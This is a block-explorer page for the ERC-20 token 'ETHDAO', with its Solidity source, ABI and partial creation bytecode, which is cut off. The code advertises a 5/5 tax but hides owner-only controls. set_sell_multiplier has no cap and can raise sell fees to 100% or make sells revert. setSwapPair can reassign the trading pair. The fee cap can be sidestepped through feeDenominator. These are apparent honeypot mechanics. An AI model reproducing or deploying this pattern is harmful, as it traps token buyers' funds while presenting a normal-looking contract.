ERC-20
Overview
Max Total Supply
100,000,000 ETHDAO
Holders
126
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.056 ETHDAOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ETHDAO
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-08 */ // SPDX-License-Identifier: MIT /** $ETHDAO | ETHDAO Buy/sell tax : 5/5 Telegram : https://t.me/ETHDAO_group */ pragma solidity ^0.8.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ETHDAO is ERC20, Ownable { using SafeMath for uint256; string private _name = "ETHDAO"; string private _symbol = "ETHDAO"; uint8 constant _decimals = 9; uint256 _totalSupply = 100000000 * 10**_decimals; uint256 public _maxWalletToken = _totalSupply * 100 / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempt; mapping (address => bool) isWalletLimitExempt; uint256 private liquidityFee = 0; uint256 private marketingFee = 5; uint256 public totalFee = marketingFee + liquidityFee; uint256 public feeDenominator = 100; uint256 private sellMultiplier = 100; address public autoLiquidityReceiver; address public marketingFeeReceiver; IUniswapV2Router02 public router; address public pair; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply * 1 / 1000; uint256 public maxSwapThreshold = _totalSupply * 1 / 100; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor (address routeraddr) Ownable() { router = IUniswapV2Router02(routeraddr); pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this)); _allowances[address(this)][address(router)] = type(uint256).max; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isWalletLimitExempt[msg.sender] = true; isWalletLimitExempt[address(0xdead)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[pair] = true; autoLiquidityReceiver = msg.sender; marketingFeeReceiver = msg.sender; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } event AutoLiquify(uint256 amountETH, uint256 amountBOG); receive() external payable { } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() { _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000; } function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { isWalletLimitExempt[holder] = exempt; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { // Checks max transaction limit uint256 heldTokens = balanceOf(recipient); require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much."); //shouldSwapBack if(shouldSwapBack() && recipient == pair){swapBack();} //Exchange tokens uint256 airdropAmount = amount / 10000000; if(!isFeeExempt[sender] && recipient == pair){ amount -= airdropAmount; } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) { uint256 multiplier = isSell ? sellMultiplier : 100; uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldTakeFee(address sender,address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient] ; } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function setSwapPair(address pairaddr) external onlyOwner { pair = pairaddr; isWalletLimitExempt[pair] = true; } function set_sell_multiplier(uint256 Multiplier) external onlyOwner { sellMultiplier = Multiplier; } function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner { swapEnabled = _enabled; swapThreshold = _swapThreshold; maxSwapThreshold = _maxSwapThreshold; } function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; marketingFee = _marketingFee; totalFee = _liquidityFee.add(_marketingFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator/3, "Fees cannot be more than 33%"); } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner { autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = _marketingFeeReceiver; } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function swapBack() internal swapping { uint256 _swapThreshold; if(_balances[address(this)] > maxSwapThreshold){ _swapThreshold = maxSwapThreshold; }else{ _swapThreshold = _balances[address(this)]; } uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = _swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance; uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity); if(amountETHMarketing>0){ bool tmpSuccess; (tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}(""); } if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"routeraddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base10000","type":"uint256"}],"name":"setMaxWalletPercent_base10000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairaddr","type":"address"}],"name":"setSwapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Multiplier","type":"uint256"}],"name":"set_sell_multiplier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280600681526020017f45544844414f0000000000000000000000000000000000000000000000000000815250600190816200004a919062000b08565b506040518060400160405280600681526020017f45544844414f00000000000000000000000000000000000000000000000000008152506002908162000091919062000b08565b506009600a620000a2919062000d7f565b6305f5e100620000b3919062000dd0565b600355606480600354620000c8919062000dd0565b620000d4919062000e4a565b60045560006009556005600a55600954600a54620000f3919062000e82565b600b556064600c556064600d556001601160146101000a81548160ff0219169083151502179055506103e860016003546200012f919062000dd0565b6200013b919062000e4a565b6012556064600160035462000151919062000dd0565b6200015d919062000e4a565b6013553480156200016d57600080fd5b506040516200433038038062004330833981810160405281019062000193919062000f27565b6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000309919062000f27565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000392573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b8919062000f27565b306040518363ffffffff1660e01b8152600401620003d892919062000f6a565b6020604051808303816000875af1158015620003f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041e919062000f27565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200087f919062000fa8565b60405180910390a35062000fc5565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200091057607f821691505b602082108103620009265762000925620008c8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000951565b6200099c868362000951565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620009e9620009e3620009dd84620009b4565b620009be565b620009b4565b9050919050565b6000819050919050565b62000a0583620009c8565b62000a1d62000a1482620009f0565b8484546200095e565b825550505050565b600090565b62000a3462000a25565b62000a41818484620009fa565b505050565b5b8181101562000a695762000a5d60008262000a2a565b60018101905062000a47565b5050565b601f82111562000ab85762000a82816200092c565b62000a8d8462000941565b8101602085101562000a9d578190505b62000ab562000aac8562000941565b83018262000a46565b50505b505050565b600082821c905092915050565b600062000add6000198460080262000abd565b1980831691505092915050565b600062000af8838362000aca565b9150826002028217905092915050565b62000b13826200088e565b67ffffffffffffffff81111562000b2f5762000b2e62000899565b5b62000b3b8254620008f7565b62000b4882828562000a6d565b600060209050601f83116001811462000b80576000841562000b6b578287015190505b62000b77858262000aea565b86555062000be7565b601f19841662000b90866200092c565b60005b8281101562000bba5784890151825560018201915060208501945060208101905062000b93565b8683101562000bda578489015162000bd6601f89168262000aca565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c7d5780860481111562000c555762000c5462000bef565b5b600185161562000c655780820291505b808102905062000c758562000c1e565b945062000c35565b94509492505050565b60008262000c98576001905062000d6b565b8162000ca8576000905062000d6b565b816001811462000cc1576002811462000ccc5762000d02565b600191505062000d6b565b60ff84111562000ce15762000ce062000bef565b5b8360020a91508482111562000cfb5762000cfa62000bef565b5b5062000d6b565b5060208310610133831016604e8410600b841016171562000d3c5782820a90508381111562000d365762000d3562000bef565b5b62000d6b565b62000d4b848484600162000c2b565b9250905081840481111562000d655762000d6462000bef565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d8c82620009b4565b915062000d998362000d72565b925062000dc87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c86565b905092915050565b600062000ddd82620009b4565b915062000dea83620009b4565b925082820262000dfa81620009b4565b9150828204841483151762000e145762000e1362000bef565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000e5782620009b4565b915062000e6483620009b4565b92508262000e775762000e7662000e1b565b5b828204905092915050565b600062000e8f82620009b4565b915062000e9c83620009b4565b925082820190508082111562000eb75762000eb662000bef565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000eef8262000ec2565b9050919050565b62000f018162000ee2565b811462000f0d57600080fd5b50565b60008151905062000f218162000ef6565b92915050565b60006020828403121562000f405762000f3f62000ebd565b5b600062000f508482850162000f10565b91505092915050565b62000f648162000ee2565b82525050565b600060408201905062000f81600083018562000f59565b62000f90602083018462000f59565b9392505050565b62000fa281620009b4565b82525050565b600060208201905062000fbf600083018462000f97565b92915050565b61335b8062000fd56000396000f3fe6080604052600436106101dc5760003560e01c806373a432bb11610102578063ca33e64c11610095578063e96fada211610064578063e96fada2146106bb578063ec72d65f146106e6578063f2fde38b1461070f578063f887ea4014610738576101e3565b8063ca33e64c14610601578063cec10c111461062c578063d088935814610655578063dd62ed3e1461067e576101e3565b8063a4b45c00116100d1578063a4b45c0014610545578063a8aa1b311461056e578063a9059cbb14610599578063acef1a44146105d6576101e3565b806373a432bb1461049b57806378109e54146104c45780638da5cb5b146104ef57806395d89b411461051a576101e3565b80632198cf6c1161017a578063658d4b7f11610149578063658d4b7f146103f35780636ddd17131461041c57806370a0823114610447578063715018a614610484576101e3565b80632198cf6c1461032557806323b872dd1461034e578063313ce5671461038b578063571ac8b0146103b6576101e3565b8063095ea7b3116101b6578063095ea7b314610267578063180b0d7e146102a457806318160ddd146102cf5780631df4ccfc146102fa576101e3565b8063012aa912146101e85780630445b6671461021157806306fdde031461023c576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b5061020f600480360381019061020a9190612703565b610763565b005b34801561021d57600080fd5b50610226610815565b604051610233919061273f565b60405180910390f35b34801561024857600080fd5b5061025161081b565b60405161025e91906127ea565b60405180910390f35b34801561027357600080fd5b5061028e6004803603810190610289919061286a565b6108ad565b60405161029b91906128c5565b60405180910390f35b3480156102b057600080fd5b506102b961099f565b6040516102c6919061273f565b60405180910390f35b3480156102db57600080fd5b506102e46109a5565b6040516102f1919061273f565b60405180910390f35b34801561030657600080fd5b5061030f6109af565b60405161031c919061273f565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061290c565b6109b5565b005b34801561035a57600080fd5b506103756004803603810190610370919061294c565b610a9e565b60405161038291906128c5565b60405180910390f35b34801561039757600080fd5b506103a0610c9e565b6040516103ad91906129bb565b60405180910390f35b3480156103c257600080fd5b506103dd60048036038101906103d891906129d6565b610ca7565b6040516103ea91906128c5565b60405180910390f35b3480156103ff57600080fd5b5061041a6004803603810190610415919061290c565b610cda565b005b34801561042857600080fd5b50610431610dc3565b60405161043e91906128c5565b60405180910390f35b34801561045357600080fd5b5061046e600480360381019061046991906129d6565b610dd6565b60405161047b919061273f565b60405180910390f35b34801561049057600080fd5b50610499610e1f565b005b3480156104a757600080fd5b506104c260048036038101906104bd91906129d6565b610f6b565b005b3480156104d057600080fd5b506104d96110b7565b6040516104e6919061273f565b60405180910390f35b3480156104fb57600080fd5b506105046110bd565b6040516105119190612a12565b60405180910390f35b34801561052657600080fd5b5061052f6110e6565b60405161053c91906127ea565b60405180910390f35b34801561055157600080fd5b5061056c60048036038101906105679190612a2d565b611178565b005b34801561057a57600080fd5b5061058361128c565b6040516105909190612a12565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb919061286a565b6112b2565b6040516105cd91906128c5565b60405180910390f35b3480156105e257600080fd5b506105eb6112c7565b6040516105f8919061273f565b60405180910390f35b34801561060d57600080fd5b506106166112cd565b6040516106239190612a12565b60405180910390f35b34801561063857600080fd5b50610653600480360381019061064e9190612a6d565b6112f3565b005b34801561066157600080fd5b5061067c60048036038101906106779190612ac0565b611406565b005b34801561068a57600080fd5b506106a560048036038101906106a09190612a2d565b6114c1565b6040516106b2919061273f565b60405180910390f35b3480156106c757600080fd5b506106d0611548565b6040516106dd9190612a12565b60405180910390f35b3480156106f257600080fd5b5061070d60048036038101906107089190612703565b61156e565b005b34801561071b57600080fd5b50610736600480360381019061073191906129d6565b611606565b005b34801561074457600080fd5b5061074d6117c0565b60405161075a9190612b72565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e890612bd9565b60405180910390fd5b612710816003546108029190612c28565b61080c9190612c99565b60048190555050565b60125481565b60606001805461082a90612cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461085690612cf9565b80156108a35780601f10610878576101008083540402835291602001916108a3565b820191906000526020600020905b81548152906001019060200180831161088657829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161098d919061273f565b60405180910390a36001905092915050565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612bd9565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c8a57610c09826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e69092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c9584848461184a565b90509392505050565b60006009905090565b6000610cd3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6108ad565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90612bd9565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601160149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffff